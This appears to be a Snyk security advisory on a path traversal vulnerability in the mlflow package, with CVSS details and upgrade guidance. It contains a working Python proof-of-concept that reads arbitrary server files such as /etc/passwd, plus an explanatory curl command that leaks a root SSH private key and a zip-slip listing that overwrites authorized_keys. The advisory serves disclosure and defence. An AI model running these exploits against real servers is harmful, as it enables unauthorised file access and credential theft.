Path Traversal Affecting mlflow package, versions [,2.11.3) [2.12.0,2.12.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

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  • Snyk ID SNYK-PYTHON-MLFLOW-6615697
  • published 16 Apr 2024
  • disclosed 16 Apr 2024
  • credit ozelis

How to fix?

Upgrade mlflow to version 2.11.3, 2.12.1 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal due to the handling of the artifact_location parameter when creating an experiment. An attacker can read arbitrary files on the server in the context of the server's process by using a fragment component # in the artifact location URI.

Note:

This vulnerability is similar to CVE-2023-6909 but utilizes a different component of the URI to achieve the same effect.

PoC

from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", default="/etc/passwd")
    args = parser.parse_args()

    url = args.url
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    with Session() as s:
        model_name = "m_" + randbytes(4).hex()
        experiment_name = "e_" + randbytes(4).hex()

        rsp = s.post(f"{ajax_api}/experiments/create", json={
           "name" : experiment_name,
           "artifact_location" : "http:///#../../../../../../../../../../../../"
        })
        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create", json={
            "experiment_id" : experiment_id
        })
        run_uuid = rsp.json()["run"]["info"]["run_uuid"]

        rsp = s.post(f"{ajax_api}/registered-models/create", json={
            "name" : model_name
        })

        rsp = s.post(f"{ajax_api}/model-versions/create", json={
            "name" : model_name,
            "run_id" : run_uuid,
            "source": "/"
        })

        rsp = s.get(f"{args.url}/model-versions/get-artifact", params={
            "name" : model_name,
            "version" : 1,
            "path" : args.path.removeprefix("/")
        })
        try:
            print(rsp.content.decode())
        except UnicodeDecodeError:
            print(rsp.content)

        rsp = s.post(f"{ajax_api}/experiments/delete", json={
            "experiment_id" : experiment_id
        })

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

CVSS Scores

version 3.1
Expand this section

Snyk

7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None